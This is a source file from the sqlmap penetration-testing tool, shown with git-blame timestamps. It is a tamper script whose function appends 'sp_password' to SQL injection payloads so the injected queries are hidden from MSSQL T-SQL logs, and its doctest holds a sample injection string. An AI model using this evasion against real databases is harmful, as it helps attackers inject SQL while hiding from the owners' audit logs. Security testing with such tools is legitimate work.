2013-02-14 15:32:17 +04:00
|
|
|
#!/usr/bin/env python
|
2012-07-06 14:24:55 +04:00
|
|
|
|
|
|
|
"""
|
2013-01-18 18:07:51 +04:00
|
|
|
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
|
2012-07-06 14:24:55 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
|
|
|
"""
|
|
|
|
|
|
|
|
from lib.core.enums import PRIORITY
|
|
|
|
|
|
|
|
__priority__ = PRIORITY.HIGH
|
|
|
|
|
2012-12-03 17:27:01 +04:00
|
|
|
def tamper(payload, **kwargs):
|
2012-07-06 14:24:55 +04:00
|
|
|
"""
|
|
|
|
Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
|
|
|
|
|
|
|
|
Requirement:
|
|
|
|
* MSSQL
|
|
|
|
|
|
|
|
Notes:
|
|
|
|
* Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure
|
|
|
|
* Reference: http://websec.ca/kb/sql_injection
|
2013-03-14 00:57:09 +04:00
|
|
|
|
|
|
|
>>> tamper('1 AND 9227=9227-- ')
|
|
|
|
'1 AND 9227=9227-- sp_password'
|
2012-07-06 14:24:55 +04:00
|
|
|
"""
|
|
|
|
|
|
|
|
retVal = ""
|
|
|
|
|
|
|
|
if payload:
|
|
|
|
retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "")
|
|
|
|
|
2012-10-25 12:10:23 +04:00
|
|
|
return retVal
|